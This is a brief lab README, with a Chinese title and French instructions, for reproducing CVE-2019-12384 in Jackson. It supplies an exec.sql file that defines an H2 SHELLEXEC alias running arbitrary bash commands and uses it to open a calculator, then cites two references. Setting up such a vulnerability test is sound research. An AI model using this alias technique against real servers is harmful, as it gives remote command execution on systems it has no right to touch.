
CVE-2019-12384 漏洞测试环境
Importez le projet dans IntelliJ IDEA, configurez Maven pour importer automatiquement les dépendances, puis créez le fichier suivant dans un répertoire web vide local, sauvegardez-le sous exec.sql. Lancez ensuite un serveur HTTP :
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Veuillez modifier les parties correspondantes du code pour l'adapter à différents systèmes d'exploitation.
Vous pouvez voir la calculatrice s'ouvrir.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html